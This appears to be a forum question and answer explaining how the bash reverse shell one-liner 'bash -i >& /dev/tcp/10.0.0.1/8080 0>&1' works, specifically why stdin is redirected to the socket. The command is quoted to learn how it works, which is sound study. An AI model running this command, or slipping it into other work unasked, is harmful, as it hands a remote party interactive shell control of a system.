I've been trying to gain a greater understanding of how reverse shells work and I've been deciphering the bash one:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
I understand that the first redirection (>&
) redirects stdout and stderr, but why is there a need for the second one?
This redirects stdin (FD: 0) to come from the socket as well currently on stdout (FD: 1)